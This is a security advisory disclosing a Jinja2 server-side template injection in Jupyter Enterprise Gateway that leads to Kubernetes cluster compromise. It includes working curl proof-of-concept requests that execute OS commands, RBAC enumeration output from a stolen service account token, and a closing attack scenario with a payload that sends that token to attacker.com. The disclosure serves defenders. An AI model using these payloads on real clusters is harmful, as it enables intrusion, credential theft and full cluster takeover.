CVE-2026-44181: Enterprise Gateway: SSTI allows full K8s cluster compromise

### Summary The environment variables (`KERNEL_XXX`) used during the rendering of the Kubernetes manifest are vulnerable to Server Side Template Injection (SSTI). By including Jinja2 template expressions it is possible to execution Python code and OS Commands in the Enterprise Gateway service. The code can use or steal the Kubernetes service account token, which can steal Kubernetes secrets and be used to fully compromise the Kubernetes cluster by scheduling a privileged pod or a pod with a `hostPath` volume mount. ### Details The `KERNEL_POD_NAME` variable is rendered using Jinja2, allowing for code execution via template expression statements, in this code: https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/k8s.py#L219-L247 The Jinja2 template for the Kubernetes manifest contains several `kernel_xxx` variables, in addition to `kernel_pod_name` discussed above, such as `kernel_working_dir` that are used when rendering the manifest and are all vectors for SSTI. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77 These values come from the environment passed in the API call, where they were `KERNEL_XXX` before being converted to lowercase. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py#L130-L137 ### PoC #### Simple demonstration of SSTI using `{{7 * 7}}` ```bash curl http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{7 * 7}}" }}' ``` ```json {"id": "1094076f-35c6-48a5-ae60-0c943bb97a9a", "name": "python_kubernetes", "last_activity": "2025-07-17T07:14:42.155736Z", "execution_state": "starting", "connections": 0} ``` Running `kubectl get pods` ``` NAME READY STATUS RESTARTS AGE bdawg-49 1/1 Running 0 3m54s ``` #### Remote code execution - OS Commands via SSTI ```bash curl http://enterprise-gateway.notebooks.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{ cycler.__init__.__globals__.os.popen(\"hostname\").read() }}", "KERNEL_NAMESPACE": "notebooks" }}' ``` ```json {"id": "85ec9431-d005-48d5-8127-5f022f2c5780", "name": "python_kubernetes", "last_activity": "2025-07-17T07 ``` ``` NAME READY STATUS RESTARTS AGE bdawg-enterprise-gateway-8695685bc8-klm4m 1/1 Running 0 2m25s ``` `enterprise-gateway-8695685bc8-klm4m` is the hostname of the Enterprise Gateway pod. #### Enterprise Gateway RBAC The Enterprise Gateway service account has R/W access to several resource kinds. Stolen Enterprise Gateway service account `kubectl auth can-i --list` ``` Resources Non-Resource URLs Resource Names Verbs selfsubjectreviews.authentication.k8s.io [] [] [create] selfsubjectaccessreviews.authorization.k8s.io [] [] [create] selfsubjectrulesreviews.authorization.k8s.io [] [] [create] rolebindings.rbac.authorization.k8s.io [] [] [get list create delete] configmaps [] [] [get watch list create delete] namespaces [] [] [get watch list create delete] persistentvolumeclaims [] [] [get watch list create delete] persistentvolumes [] [] [get watch list create delete] pods [] [] [get watch list create delete] secrets [] [] [get watch list create delete] services [] [] [get watch list create delete] scheduledsparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete] scheduledsparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete] sparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete] sparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete] [/.well-known/openid-configuration/] [] [get] [/.well-known/openid-configuration] [] [get] [/api/*] [] [get] [/api] [] [get] [/apis/*] [] [get] [/apis] [] [get] [/healthz] [] [get] [/healthz] [] [get] [/livez] [] [get] [/livez] [] [get] [/openapi/*] [] [get] [/openapi] [] [get] [/openid/v1/jwks/] [] [get] [/openid/v1/jwks] [] [get] [/readyz] [] [get] [/readyz] [] [get] [/version/] [] [get] [/version/] [] [get] [/version] [] [get] [/version] [] [get] ``` ### Impact This is a server side template injection that leads to remote code execution (python and OS commands). An attacker can get remote code execution in the Enterprise Gateway pod and steal its Kubernetes service account's token. It can use the privileges to spy on and interfere with other Jupyter kernel, read, write, or delete configuration maps, read secrets, access persistent storage, privileged pods, or create pods with `hostPath` mounts, which can be used to compromise the complete cluster and all workloads on it.

An adversary with network access to the Jupyter Enterprise Gateway API — reachable via a compromised internal service, an overly permissive Kubernetes NetworkPolicy, or a malicious insider on a shared data science platform — sends a single crafted POST request to the /api/kernels endpoint. The KERNEL_POD_NAME variable is set to a Jinja2 payload such as `exploit-{{ cycler.__init__.__globals__.os.popen('curl http://attacker.com/exfil?t=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)').read() }}`. Enterprise Gateway renders this template during Kubernetes manifest creation, executing the OS command and exfiltrating the service account token. The attacker configures kubectl with the stolen token, confirms broad RBAC permissions via `kubectl auth can-i --list`, then creates a privileged pod with a hostPath mount to the underlying node filesystem — achieving full node-level access, exfiltrating all cluster secrets including cloud provider keys and model registry credentials, and planting persistence across any workload in the cluster.